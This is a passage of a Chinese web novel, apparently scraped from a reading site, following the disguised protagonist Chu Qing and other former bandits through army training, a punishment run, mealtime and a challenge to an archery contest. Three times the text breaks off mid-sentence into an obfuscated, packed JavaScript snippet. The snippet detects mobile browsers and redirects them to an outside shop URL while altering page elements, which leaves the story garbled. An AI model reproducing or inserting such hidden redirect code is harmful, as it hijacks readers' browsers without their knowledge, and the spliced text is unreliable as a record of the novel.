他话音刚落,初暒就瞧见不远处有一交叉揉捏着自己左右臂膀的汉子朝自己走来,“我,阎龙,便是负责此营的教头!” 阎龙面色不善,语气也带着幸灾乐祸的冷意,他一一看过这些与自己曾有一面之缘的新兵,笑得人胆战心惊,“兴民城初见,你们一个迎面打了我一拳,一个抱着我拉偏架,还有一个当众折辱于我,跋扈嚣张之时,不知你们可有想过今日?” 人在屋檐下,还是得低头。 初暒:“那日冒犯是我等有眼不识泰山,还请阎教头大人不记小人过。” 阎龙早见识过这个叫初暒的胆大包天少年的巧言与令色,因而并不将这小子的示好放在眼里,他哼笑一声,冷冷道,“这过记不记得我说了算,我们来日方长,尔等往后自求多福罢。” 其余营队均已被带回,阎龙大手一挥,厉声号令练兵场上仅剩的一队,“随我回帐!” 中北军队营地中,士兵大多十人一帐,每帐中设立什长一位,作为最末尾的军职单位。 因而阎龙依照新兵在队列站位顺序,依次将初暒、伍千裘、楚六与宋运等人安排在一营帐外后又从队伍中‘随手’揪出一个嘴角扬着玩世笑意的年轻男子,说,“这是白冲,新兵营受训期间由他任此帐什长。” 阎龙同白冲低声交代几句,看着他们十人进了营帐才带着其余新兵离开。 进帐后,楚六借着外头火把光亮率先选了一个好位置的床铺,哎哟一声,“娘诶,没当土匪这几日,都差些忘了躺在床上是什么滋味了,哎大家都莫要拘谨,随便躺啊。” 伍千裘目光在帐中扫视一圈后,指着一处通风又方便出入的铺位,说,“初暒,那位置不错,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还有燕山鹰,你不让我杀他,莫非早就知道兴民城府衙中潜藏着与他暗通款曲的奸细?” 初暒:“是。” 面前之人神色如常,可白冲却越问越心惊,他默了许久才终于问出最后关键一问,“入伍前几日我才知晓杀了柱子意欲嫁祸、挑拨中北官军与土匪的马皓是……南夷人,而你曾与我说过‘虔来山复杂的不止地势’,难道说中北混入外敌一事,你亦心知肚明?” 初暒点了点头,仍只答一字,“是。” 折磨自己多日的疑惑在此刻被全数解答,但是白冲眼里并无半点喜色,他抿唇在原地踱了几步,边走边呢喃,“这桩桩件件我爹都是近期才查明,一个乳臭未干的臭小子如何得知,该不会你原先做土匪时,兴民县衙里也有你的‘奸细’罢……” 他嘟嘟囔囔,初暒只当自己没听清,“你问完了么,问完我回去了,我觉得今夜我们还是尽早睡下比较好……” 白冲打断她不甘心又问,“你我不是故友,可怎么样也算是旧识,你方才为何对我那般寡淡疏远?” 这人长得高高壮壮,倒像孩童一样藏不住心事,他在较真,初暒亦同样认真回他,“我也早说过,你做事太过冲动,勇猛有余、脑力却不足,你这样脾性的人在兴民城你父亲手下混个闲职安度此生就很好,可你偏偏要从军入营做一个随时会丢了性命的小兵,我不与你亲近,只是不愿日后为你痛心。” 初暒神情如此认真诚恳,白冲还以为能从她口中听见什么好话,他刚做好洗耳恭听的准备却听见这些全是他不爱听的话。 兴致勃勃来当兵,却被自己一直敬仰的小子说你这样脾性的人不该来。 “人各有志!等我在军中立了军功步步高升时,我一定要你跪下来与我认错!” 白冲怒极,反冷笑一声,丢下这句狠话后转身回营。 初暒无奈叹了口气,也回了营帐。 帐中燃起了灯,烛火光线虽不明亮,但也需要才从暗夜离开的双目适应片刻,初暒进帐后正眯着眼睛走向自己床铺,又在半路见一人喜笑颜开、龇着大牙朝自己扑来,欣喜道—— “初兄弟!竟当真是你!” 115. 犯错 迎面扑来一个人,初暒灵敏地侧身躲过。 兴高采烈的男子扑了个空也不在意,转过身依旧笑呵呵地看着初暒。 这男子身量不高,大约有二十五六岁,整个人看起来面黄肌瘦的,借着帐内烛火,初暒瞧此人似乎确实有些眼熟。 不等初暒回忆,那男子先朝她走了两步,指着自己说,“初兄弟!是我啊!虔来山茶摊与你同桌,后来又被你敲晕那个!” 初暒恍然,“杨大哥?” “是了是了!你唤我杨田就行!” 杨田看初兄弟还记得自己,脸上的笑容更大了,他感激地与众人解释说,“数月之前,我揣着做工挣来的银子从晁都穿虔来山回兴民城时不慎遇见两个正要上山落草的逃犯,多亏初兄弟出手相救助我假死才让我逃过一劫,要不是她,恐怕到今日我坟头的草都得长上几丈高了。” 初暒笑笑,“我不过举手之劳,还是杨大哥机敏,命不该绝。” “没有你指点,我也定然机敏不起来。”杨田似乎仍然心有余悸,“你帮了我之后很快被虔来山土匪带走,那时我还以为……还以为你凶多吉少,可是前段时间我听同村人说虔来山威虎寨中新挂柱了一位叫初暒的二当家,此人只抡一把大斧,就率众连收三寨成为虔来山霸主,我心中对你愧疚,因而常常在想救我的初兄弟姓‘初’,那位二当家也姓初,这两人会不会是同一人,刚刚见你进来,我才知晓自己猜想不错,你果真是你,初兄弟,你还好好活着,真是太好了!” 与恩人重逢的喜悦宋运也经历过一回,他不由感叹,“‘善行不必人见,善心自有天知’,人还是要多做善事才能广结善缘啊。” 小运气这话将楚六满肚子坏水勾了出来,他从床铺上站起悄悄在杨田身后拍了一下,低声道,“在虔来山中将初暒从带走的土匪正是我楚六是也。” 这声音与话语听得杨田脖子后面冷飕飕的,他僵硬地一扭过头就看见楚六那张生人勿进且故作凶狠的脸,立即吓得啊了一声。 幸得初暒眼疾手快的扶住杨田手臂,这才没有让他惊惧地瘫软在地,她以玩笑话安抚杨田,“杨大哥莫怕,楚六跟你闹着玩儿呢,我等虽做过土匪,可既已从军入伍,便是铁了心要做个好人的。” 杨田头如捣蒜般点点头,初暒又对楚六说,“我们有缘在一处当兵,以后不说要出生入死,也一定会患难与共,你这样吓唬他恐伤我们情谊,快来与杨大哥赔罪。” “这么点儿胆子,还当什么兵啊……” 楚六嘟囔完,撇了撇嘴不情愿说,“对不住喽……” “无事无事,哎呀我并不放在心上。”杨田缓过心神笑了笑,指着营帐里一个并着双腿坐在床边看着相当沉默拘谨的汉子说,“那是董梁,他曾被黑鹰岭土匪掳掠上山,似乎也是被初兄弟救下的,我们都是同村,也都是听闻武江城被漠匪屠戮消息后才愤而从戎的。” 董梁被人点名,立即起身对初暒鞠了一躬,说,“二当家的,多谢你那夜相救,董梁感激不尽,还有……白什长,也感激您……” 白冲自方才怒气冲冲地回来后就兀自随意躺进了一张床铺,像是没听见帐内几人闲谈似的只顾蒙头大睡。 白冲不理人,初暒瞧董梁面带无措,于是接话说,“客气了,我叫初暒,爱吓唬人的叫楚六,他身后那位是伍千裘,那个小少年叫宋运,还有那位……” 向他们介绍完帐中兄弟们姓名,初暒又道,“几日奔波,大家今夜便早些睡吧。” 众人点头应和后纷纷褪去外衣躺进自己被窝,初暒坐回安置在角落的床铺,定睛望着地上一小截即将燃尽的烛炬。 军队安营扎寨最忌暴露行踪,一般多只在辕门和主帐中点灯,并不会向普通小兵营帐分发烛炬,故而这小截烛炬定然是被帐中某个不知军中规矩的新兵带进来的。 同帐的其余人大概真的累极,有几个一躺下如雷鼾声便随之而起,眼见残灯末焰回光返照似的闪烁过一瞬而后蓦然黯淡,初暒扫视过一圈睡得歪七扭八的兄弟们,想了想还是顿住自己到嘴边的话和衣躺下。 大约过了两个时辰,夜色尚深。 新兵各营帐内除了此起彼伏的鼾声后再无其他私语响动,但纵使有这些重响鼾声掩盖,行进在暗夜中的一支全副武装的小队徘徊在营帐之外时仍然蹑手蹑脚。 这支小队谨慎至极,可他们脚下军靴踩踏在营地积雪上发出的诸如‘咯吱’之类的细微声响还是传进了浅眠的初暒耳中。 她倏地挣开双眼挺身坐起,目光中除了清醒便全是警惕。 刹那之后,金铙相撞炸出一道洪亮辽远的巨响,紧接着这声巨响从外传来的是阎龙如雷贯耳的吼叫,“敌军已至,亟集诸军,准备迎战!” 早在阎龙声音响起之前,初暒已翻身下床轮番拍叫同帐新兵,疾语,“快醒醒!夜间亟集,穿衣速起!” 白冲一听见帐外阎龙动静就‘嗖’的一声踹被而起,他捞起自己衣物也不多说边穿边往外跑,丝毫没有顾及同帐还在迷糊睁眼的同袍们。 伍千裘、宋运还有杨田等人被初暒叫醒后,均利索的收拾好浑身衣物随她小跑出去,唯有楚六拖拖拉拉跟在他们身后时嘴里还不停小声咒骂,“真是吃饱了撑得,这大半夜的集什么集,不让人好好睡觉……” 练兵场内,阎龙与一众教头已经等候新兵们多时。 他看着听见金铙声响第一个从营帐中跑出来白冲,问,“怎么只有你一个?你同帐其他人呢?” 白冲仰着脸,毫不掩饰自己的得意,高声回答说,“报阎教头!他们太慢了!都还在后面磨蹭呢!” 他话音刚落,阎龙就见初暒引着他们同帐余下所有新兵快步朝此处跑来,他们脚步匆忙可身形举止却十分利落沉稳,尤其在是在白冲身后站定的初暒,神色清明地根本不像才在睡梦中被人惊醒。 阎龙紧盯初暒这会儿,所有新兵终于陆续到齐,他一一扫视过练兵场那些睡眼迷蒙、衣冠不整的新兵,恨其不争,破口大骂,“若真有敌袭,你们就准备用这幅要死不活的模样笑掉敌人大牙么!” 新兵中有人不服,“报!” 阎龙:“说!” “我等行军数日,本就疲乏,一时反应不及也属正常!” “乙营新兵与你们一道行军,为何他们在沉睡中一听见金铙声响便能迅速作出反应!” 新兵们跑的慌忙,没留意率先亟集在此的是哪一营,此时听阎龙这么一说都想起乙营的新兵不就是昨夜在遭伏击时大出风头那一队土匪么。 “哦~乙营的好汉们莫不是在山里烧杀抢掠时被官兵们撵惯了,一听见示警声就吓得连滚带爬的起床跑路了罢!” 这句阴阳怪气从其他阵营中传出,惹得新兵们抿着嘴吭吭哧哧想笑又不敢笑,楚六原先哪受过这气,刚要梗着脖子与他们叫骂,嘴巴却被身后的伍千裘反手捂住,他心中有气非要发泄,因而一直在队列中用力去掰伍千裘捂着自己的手。 早注意到他二人动静的阎龙既没有搭理,也并未出言喝止嘲讽他们的新兵,只说,“自踏入军营那刻起,尔等性命便已经在阎王爷哪儿挂上号了,若是不想太早见他就须得记住,即使是在睡梦之中,也定要竖起一只耳朵为自己安危值守!不然,要真到战场上,恐怕尔等连自己怎么死的都不晓得!” 众新兵齐声道,“是!” “早晨操练之前,我还有一桩官司要判!”阎龙说完新错,再翻旧账,他踱步在各营阵列前冷声质问,“军队安营扎寨最忌暴露行踪,因而除辕门和主帐外,其他营帐禁止点灯照明,可是昨夜我却发现有一新兵帐中灯火忽闪,不知是哪位人才受不得夜里昏暗,偷偷将烛炬带进营中?” 新兵入伍后,兵部会将作训戎衣、武器装备与水囊口粮一起发放给他们,除此之外,其余物品均不允带入军营,但是杨田忘了这茬。 离家时,他为做好万全准备,曾往行囊里乱七八糟装了许多日用之物,却没想到自己费力一路背来的东西竟是营地禁物。 杨田不过是一个在晁都做过点小生意的庄稼汉,还未沾染上商人的狡猾心性,因而虽然还未被人当场揪出,可他面对阎龙冷面质问,还是惊恐地浑身哆嗦。 就在杨田犹犹豫豫不敢招认时,队列前排有人先他开口承认,“是我!” 初暒面不改色的包揽罪责,阎龙心中清楚她干不出这样的蠢事,却依然下令道,“违反军纪本应脊杖二十军棍,但念及初犯,便只罚乙营白冲一什晨间趋跑二十里!” 白冲闻言不服,“初暒犯错,我又没错!凭甚我也要受罚!” 阎龙走到白冲面前,伸手在他胸口请锤了几拳,“你身为一什之长,却只管自己争第一,丝毫不顾念还落在身后的同帐同袍,若不惩处,难保将来在战场你不会做出为挣军功而干出一些狼心狗肺的混账事来!” 白冲一脸憋屈,阎龙却不再看他,重又对新兵们吼道,“军中不分你我!一人犯错,一旗(小旗也由十人组成)受罚,一旗犯错,一营受罚!都听清楚了吗!” “清楚了!” 众营新兵们应完声后随即被各自教头带出营开始每日晨间的十里趋跑,白冲站在乙营队首正要迈腿跟在甲营屁股后面时,忽听阎龙又对他们说了声—— “等等!” 白冲以为是在喊他,等看去才瞧见阎龙径直走向了自己身后的初暒,“在兴民城时,我曾听那里的州府军说你小子能跑的很,将晨间十里趋跑翻个倍或许于你而言不算什么,故而特地为你准备了这些。” 阎龙双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888164|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手在耳边轻拍两下,立刻就有两个兵士从他身后跨步出来迅速将两只沙囊缠在初暒左右腿上,像是觉得还缺点什么,阎龙想了想又卸下一个守兵重甲亲自套在她身上。 初暒身量高,骨架却不大,这身重甲虽说并非全套,可将近二十斤的铁器锢在肩上还是压得她暗暗咬牙。 眼见她军靴陷地好几寸,阎龙终于满意颔首,朝白冲摆手道,“这才像样,开始跑罢。” 白冲扭头看见还没开始跑就被铁甲压得脸色通红的初暒有些幸灾乐祸,可再一瞬后,他余光又瞥见跟在队伍后面的伍千裘还有宋运等人也各自从守卫身上卸下一件铁甲套上,更让人匪夷所思的是那阎龙发现了他们几人动作竟也没有多说什么。 饭还没吃呢,这一个两个的怎么就开始撑了? 白冲腹诽完,最后看了一眼那几个套着铁甲活像一只只才学会走路的铁熊精似的‘玩意儿’,而后摆着手臂轻轻松松地带队往前跑去。 新兵们从军前大多都是农户和小贩,种地和做小买卖需要体力,可并不需要每日都跑十里路的体力,他们身上没有负担,可许多人还是只跑到一半路程时就累的大汗淋漓、扶膝喘气。 因添置浑身装备时耽误些时间,初暒等人追上大部队时天色已经大亮了。 她双肘紧夹着铁甲小幅摆动,以避免铁甲在跑动时不受控的乱晃,且始终以宋运、杨田还有董梁等人能跟上的速度均速向前。 眼前的路长的像是没有尽头,身上的重负亦压得他眼冒金星,宋运用尽全力伸手拍了引着自己的初暒肩膀,上气不接下气说,“初…初暒,我不行了,咱们停下…停下歇会儿罢……” 初暒落后几步与宋运齐平,“可以慢一些但是不能停,停下来就再跑不动了,来,调整脚下步子与我同频呼吸。” 宋运点点头,跟着初暒三步一呼、三步一吸,数十米后总算缓过劲儿来。 离他们不远的伍千裘看初暒带着宋运和紧跟着他们杨田、董梁超过一个又一个坐在原地休息然后再不想站起的新兵,心里明白,他们几个负重跑到这里靠的已经不是体力而是意志了。 “砰!” 重物掉落声之后又传来连续摩擦声。 伍千裘不消转身都猜到这声音出自在闹脾气的楚六。 楚六脱掉身上铁甲,拽着衣领处将其在地上拖行,他累得脸色煞白,嘴里还不忘悔恨,“早知道这玩意儿这么沉,方才老子就不跟着那群傻货逞能了……” 新兵营外趋跑路上插有路标,十里与二十里是两个方向,但终点都是营地大门。 白冲在分岔路口前犹豫一瞬,还是闷头左转跑向了自己被罚路程,大约两刻钟后,初暒与众不假思索地向左跑去,而伍千裘则等在此处将楚六拎回正道才追上他们。 跑。 不停地跑。 跑到已经忘记自己为什么在跑。 耳边有早晨的风声,有脚下沉重踢踏的脚步声,也有嗓子眼儿里的心跳声。 也不知过了多久,初暒隐约听见前方有欢呼传来,她循声望去一眼就瞧见那些为到达营门终点而欢呼的新兵们。 初暒:“到了!” 目的地就在前方不远,可是身着重甲的几人却疲乏麻木的说不出话来。 杨田看见已经跑回,腿一软就要瘫坐下来,可又被初暒一把拉起,“才跑完就坐下,心口会承受不来,我们慢慢走回去。” 十里路虽长,可总比二十里近些,其他营体力稍好的新兵跑回来后还有力气嬉笑打闹,可杨田看着左右累得面无血色,双目呆滞的同袍们,愧疚至极。 杨田:“真是对不住了!因我犯错害诸位受罚。” 要搁在平常,楚六非得将杨田按在地上揍一顿解气不可,可这会儿他没劲儿了,多余的眼神都不想给杨田一个。 “初暒,你原先救命之恩,我还没有报答,如今却又让你替我承担重罚,当真是让我羞愧啊……” 初暒指着自己小腿,笑说,“你看阎龙为我准备的沙囊多合身。” 沙囊而已,谁缠都合身,众人知道她在说笑,于是也都笑了。 初暒又说,“阎龙与我有私仇,因而无论有没有那截蜡烛,他都要罚我的,我也多谢你们,愿意套着铁甲与我一起受罚。” 宋运:“有福同享!” 楚六指着杨田,接了一句,“有难,下回你当!” 杨田笑呵呵点头,“我当!我当!我一定……” “咚!” 营地里忽的传来一声军鼓,伍千裘心口一跳,他还没来得及询问,胆小寡言的董梁先诧异道,“晨间趋跑才结束,不会又要咱们亟集吧?!” “不。”初暒说—— “这鼓声大概是示意……开饭。” 116. 挑衅 营门外,率先跑完十里的新兵们勾肩搭背的瞧着跑得面无人色的同袍们哈哈大笑,阎龙与众教头倒好像没听见这些嬉笑似的,只默默观察着前方还在路上的新兵们。 这些新兵中有的疲于奔跑,竟在临近营门时倒地休整,而有的却相互搀扶,慢,但却一步不停地向终点趋近。 目视套着铁甲的几个新兵回到营门,精疲力竭的瘫倒在自己脚边时,阎龙看了一眼身侧的传令小兵,那小兵便迅疾心领意会的上前一步敲击手中铜锣,大喊,“趋跑十里未竟者,禁其食饷!” 奔波数日才来到新兵营,入营第一日天还没亮就被吵起来趋跑十里,跑不完还不让人吃饭,真是岂有此理! 跑不动的新兵刚想与教头理论,可营外一队面露凶相且全副武装的巡逻队恰好从身边雄赳赳、气昂昂的走过,于是他们也只能认命的起身继续趋跑,而已经在营门口集结完准备被带回吃饭的新兵们并未在教头们脸上看见说笑痕迹,纷纷暗自庆幸,多亏早早跑完,不然连饭都吃不上了。 他们刚松了口气,抬眼又发现巡逻小队为首那人不知向阎龙说了句什么,只见那阎龙脸色突变,冷声叫出一人姓名,“艾川栋!” 白冲闻言,扭头一眼便锁住站在回营队伍中一个其貌不扬、身强力壮的男子。 艾川栋愣了一瞬,而后答,“到!” 阎龙:“站出来!” 像是知道阎教头为什么喊他似的,艾川栋哭丧着脸从队列走出。 “我原以为你们这批新兵只是笨了点,为人都还算老实,却没想到,这里头还是有聪明人的!”阎龙反话正说完,压着怒火鄙夷又道,“每日晨间趋跑只为锻炼增强尔等体能足力以便让尔等在战场上、在敌人面前多活一瞬,而你却偷奸耍滑,竟敢在趋跑时抄近道,你以为自己是在忽悠谁!” 艾川栋支支吾吾,低头抱拳道,“属下知错!以后再也不敢了!求阎教头网开一面!” 阎龙闻言更气了,他指着套铁甲跑得灰头土脸的初暒,对艾川栋说,“初暒犯了错,我罚什么人家就受什么,一句多余废话都没有,可你,我还什么令都没下,你就开始求饶,哪有一点儿男人的样子!不罚,你恐怕不会长记性!来人!将艾川栋拖下去杖责十军棍!其余人!回营开饭!” 小兵领命后拎着艾川栋走向与回营新兵相反的方向,初暒路过被小兵带走的艾川栋时,无意间瞥见他看着自己的眼睛里似乎有些莫名其妙的气愤。 当真是莫名其妙。 两人擦肩而过后,初暒就没再看他,只一心好奇着这新兵营的伙食菜色。 宋运幼时总待在药房,因而对各种味道十分敏锐,他抽动着鼻子在空中嗅到了朝思慕想的香味,不由亮着双眸与哥哥们小声说,“啊!有肉!” 初暒也闻到了,她顿了顿后与周围几人叮嘱,“一会儿放饭,我怎么做你们便跟着怎么做。” 伍千裘与宋运等人都乖乖点头,唯独楚六反对说,“这有啥好跟的,怎的,你是怕我们连饭都不会吃么。” 他不听话,初暒也没再多说什么,只跟着前面的人在炊事营帐前按顺序排队领碗打饭。 常规军队中一般是十人一锅的大锅饭,但这里是新兵营,人员与锅具并未完全按照军中配置分开,故而放饭的伙头兵们都只紧着一锅饭放,这锅没了再掀下一锅锅盖。 楚六跟在初暒身后,看她只盛了不满一碗饭就端着碗走了,他嗤笑一声后瞪着伙头兵,道,“给我装满!” 伍千裘以前在虔来山时跟初暒一起用过几回饭,知道这人看着一副书生模样,可吃饭时总是狼吞虎咽,他此时看着初暒席地而坐,捧着饭碗大快朵颐并没有觉得有什么不对,而一旁的杨田与董梁哪见过这架势,盯着她看了好一会儿才开始动自己的筷子。 宋运心里记得初暒叮嘱,也顾不得师傅吃有吃相、坐有坐相的教导,亦同初暒一样旁若无人的闷头干饭。 新兵们前几日赶路啃得都是砖头一般坚硬的干粮,今日总算见着人吃的东西,都与楚六一样都将饭盛的溢出碗沿才肯罢休。 其他人饭盛的多,一时半刻也吃不完,初暒、伍千裘与宋运吃完一碗,借着这个空档又去炊事营帐续了第二碗。 就在伙头兵给初暒饭碗里装了和她第一回差不多分量时,伍千裘见初暒从伙头兵手上取过饭勺,给自己碗里加了一勺后又分别给他二人碗里也满上了。 没过多久,伍千裘发现越来越多的人去续了第二碗,于是很快,炊事营帐外摆放的锅具便全部空了,直到看见楚六举着空碗哀嚎一句,“怎么这么快就没了!我还没吃饱呢!”伍千裘才明白初暒为什么要让大家跟着她。 原来在军中,吃饭也是要学的。 两碗饭美美下肚,宋运打了个饱嗝,问初暒,“你怎么想到这样吃饭的,真是厉害呀!” 杨田也说,“可不是么,要不是初暒提前招呼,恐怕咱们这伙人还是得饿肚子呢。” 楚六委委屈屈,小声埋怨,“你方才怎么不多劝劝我啊!你要是再多说几句我肯定就听你的了。” 初暒记起前世她与慕峰青刚从军时也不晓得这些,只以平常饭量打饭,却没想到作训辛苦,他们的体力也消耗的十分迅速,才不到半日就饿的手脚发软、眼冒金星,尤其是她,操练兵器时两眼发黑险些摔到在前人背手拿着的兵刃上。 自那以后,她便开始暗自观察那些老兵日常吃喝拉撒的习惯,并在他们基础上琢磨适合自己的法子,时间长了,倒真让她想出不少抢饭技巧,到后来,营地开饭时连大多数油滑老兵都抢不过她。 想起抢不过自己佯装跳脚,转头却将好不容易得来的肥肉扔进自己碗里的同袍,初暒不自觉笑了笑,说,“在军中不管伙食如何,都需要想办法多吃一些,我这人看着消瘦但是能吃得很,没事时脑子里净琢磨怎么吃了。” 众人被她这话逗笑,伍千裘心中却并不相信。 虽然在威虎寨中他就知晓初暒才能,可自入新兵营前后初暒不经意间展露的言行与举止都在告诉自己,初暒过往绝非像她说过那样是个四方流浪的孤儿。 她似乎对军营太过熟悉,熟悉的就像…… “咚!” 初暒手中干净饭碗被人用石头砸掉,伍千裘思绪也被这声响打断,他们抬头顺着附近听见这响动新兵们的视线看去,只见一人捂着腰背朝此处走来,怒气冲冲道—— “老子饿着肚子被打一顿,你们这伙儿贼配军倒有闲心在这儿吃的满嘴流油!吃吃吃!怎么不吃死你们!” 在中北,配军是指因犯罪而流放苦寒之地的队伍,他们通常被用来补充兵源,为正规军服务,在战场上也是最先上阵送命的人。 这群人,在军中地位最低,前面要是再加上一个‘贼’字,其中蔑视的意味更甚。 因此显而易见,贼配军是侮辱人的话。 楚六没吃饱本就不高兴,此时见有人正好来给他撒气,立马‘蹭’的站起来指着来人骂道,“艾川栋!你他娘的方才没吃饭原是去吃粪了么!快别说话了,嘴里真是一股子骚臭味,熏得人难受!” 楚六边说边用指背在自己口鼻旁来回扇动,好像真闻见什么不堪入鼻的气味,艾川栋被他脸上的奚落嫌弃气得怒火攻心,也顾得不身上痛疼举着拳头就朝楚六面门用力挥去。 饭后,立于主帐外的淮辛岩看着营地内怒目圆睁的新兵们但笑不语,可站在他旁边的阎龙却有些担忧,问,“淮佥事,那两人快打起来了,要不要派人过去拦着点儿?” “年轻人火气大,营地枯燥,他们想法子出自己心中怒气也属正常。”淮辛岩将目光投向盘腿坐在地上,像是根本不将面前两人争吵叫嚣当回事儿的少年身上,饶有兴致的说,“不过我敢打赌,有那小子在场,这俩人多半打不起来。” 阎龙顺着淮辛岩视线看去,而后果不其然瞧见艾川栋的拳头刚挥起,坐在地上初暒就将从地上捡起的石头朝他胳膊肘窝砸了过去。 初暒没有用劲儿,因而那艾川栋的胳膊被砸后只是受石头惯力往侧后甩了一下,再加上他前冲时没有站稳,于是跌了个踉跄连跳好几步才总算站定。 吃饱后在营地里溜达消食的新兵们看艾川栋挑衅不成反被羞辱,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“可以。”初暒无所谓的点了点头,又道,“只要你能用自己的本事让我服气,我定会如你所愿。” 初暒的爽快让只顾过嘴瘾的艾川栋愣了一下,他还没想好怎么接话,围观他们看热闹的人群里忽然有一人挺身出来,替艾川栋答应,“如此,你便和他来一场比试罢,谁赢,就听谁的。” 白冲自从入营那晚在帐外与初暒深谈后就一直憋着气,也没想过自己这么快就逮着了给这小子点儿颜色的机会,他给了艾川栋一个‘放心’眼神,又问初暒,“你敢不敢比?” 初暒:“比什么?” “骑射!” 白冲脱口而出,艾川栋也回过神朝他露出志在必得的笑容。 至此,初暒才恍然,白冲与艾川栋这两人原先就认识,而骑射大概就是艾川栋较为擅长的技艺。 “禀报淮总教头、阎教头,那帮新兵要比试骑射,可是……他们这才入营第一天,还什么都没学过呢。” 听完一直混在新兵队伍里看热闹的小兵溜出来回话,淮辛岩说,“新兵之中,锐气盛的,定然有锐气盛的缘由,我听说那个叫艾川栋的,与白冲都是兴民城州府军?” “正是。”阎龙补充说,“属下在兴民城办差时打听到艾川栋在州府军中主管马匹,闲暇时酷爱修习骑射技艺,还曾以一己之力用骑射之能单挑全兴民城州府军兵士而无败绩。” “哦,新兵中竟还有这样的人才,就是可惜这场比试,我无福亲眼探看了。” 眼看时辰不早,淮辛岩拍了拍阎龙肩膀,道,“西北传来急讯,我需得尽快带人过去看看,新兵营就暂且交给你了,务必尽心操练。” “是,淮佥事您万事小心,平安为要!” 淮辛岩不知想到什么,苦笑一声,低语,“西北那地方可不是万事小心就能……” “您说什么?” “无事。”淮辛岩最后看了营地中那群新兵蛋子一眼,交代阎龙,“时间紧迫,无论你是逼是压,一个月后,我要一批凶狠能打的兵!” 阎龙抱拳颔首,郑重答,“是!” 目送上司与众出营远去,阎龙挥手招来回完话就一直默默候在一旁小兵,道—— “去马厩选两匹矫健战马,那帮小子不是要比试么,我倒要看看他们能比出什么花样!” 117. 比试 初次来到新环境,鲜少有不想与周围人好好相处的人。 如果真有这样的人,除了脑子不好,也有可能是因为他身负过人之才,这才足够使他凌驾在众人之上,以至于让他眼睛高过头顶,不将别人放在自己眼里。 这样的人被文人称作恃才傲物,在军中,则被叫做刺头儿。 初暒前世带兵时,最喜欢这样的刺头儿。 嚣张得有嚣张的资本,否则只能得到一顿军棍。 听到白冲已经为自己将台子搭好,艾川栋抱臂走到被新兵环绕着的空地中间,趾高气扬的朝初暒挑眉,问,“你当真敢与我比试?” 初暒十分确定,“比试而已,有何不敢。” 在兴民城入伍的人,大多都是兴民城人。 他们中有的认出白知州的独子白冲,有的想起他来这儿之前是州府军中人,也有的瞧见他推出来与初暒比试的艾川栋觉着眼熟,又觉得似乎在哪儿听过他的名号。 人群中忽然有人恍然哦了一声,大声道,“那个叫艾川栋的,与白少爷都原是兴民城州府军!我曾听说他以一己之力用骑射之能单挑全兴民城州府军兵士而无败绩,还被白知州当众赞扬过呢!” “嗨呀,竟如此厉害,那初暒还与人家比试什么呀,直接跪地求饶算啦!” “哈哈哈,这土匪头子在虔来山称王称霸惯了,估计没见识过咱们正规州府军的骑射风采,我觉得今日还是得请艾川栋出面让她长长记性,免得这帮土匪把咱们新兵营当成他们土匪山寨一般嘚瑟!” 有人将手扩在嘴边朝艾川栋喊话,“艾兄弟!好好比,一定给初暒一个教训。” “就是!给她点儿颜色瞧瞧,让这群贼配军知晓什么叫官匪两道!” 周围人的高声与低语皆传进了楚六耳中,他悄悄扯了扯伍千裘的衣摆,问,“你平日与初暒最亲近,你可见过她骑马或是射箭?” 伍千裘摇头,“从未见过。” “那还比什么啊!”楚六脸色大变,失控高喊一句而后又压低了声音,焦急道,“这是军营!不是豹子山!可不是只凭忽悠就能全身而退的!初暒既不会骑马不会射箭就更甭提骑射了!这要是输了,不止她,连带着咱们所有被招安的土匪都要跟着一起丢人的!” 看伍千裘不说话,楚六又重重怼了他肩膀一下,窜动说,“你快去劝劝初暒,别让她逞能,现在认输还来得及。” 初暒既然答应了,自然有她的原因,伍千裘还是不搭理他。 被杨田护在一旁的宋运从人群缝隙里挤进去,小声说,“我们今日被负重罚跑了二十里,身上的疲乏还缓过来,此时比试恐怕不公,要不…要不改日吧。” 能拖几日练习练习骑射也行…… 宋运心里还没想完,白冲立即指着艾川栋,挑事说,“初暒负重跑了二十里,他也才挨了打还没吃饭,此时比试我瞧着公平的很!” 初暒知道他们在担心,抬手拍了拍宋运的肩膀安抚看了他一眼后,用下巴挑了挑人们身后方向,道,“既然都觉得公平,那就莫再磨叽,它们已经在那儿等待许久了。” 顺着初暒视线,众人发现自己身后不知何时多了两匹战马。 艾川栋看见战马,立即拨开人群朝马儿走去。 两匹战马威风凛凛、体格健壮,肌肉线条分明,勇猛的好似充满了力量。 他从侧面接近其中一匹,并伸手让其仔细嗅闻自己身上味道,耐心等战马不抵触时才轻柔地抚摸着它的颈部与肩部。 艾川栋选好了马,又瞧见练兵场中已经圈好跑道备齐了箭矢与靶垛,于是从中数了一些箭矢转身与初暒道,“每人二十支箭,乘马至起跑线,发令后,以最快的速度将这二十支箭射中跑道外安置的三个箭靶靶心者,胜。” 初暒点头同意,白冲挥着从一旁兵士手上借来的锣槌,说,“那便由我发令。” 临时在练兵场圈定的跑马道为沟形,全长不足百米,而设置在跑道外的靶垛有三个,相互之间的距离只有九丈。 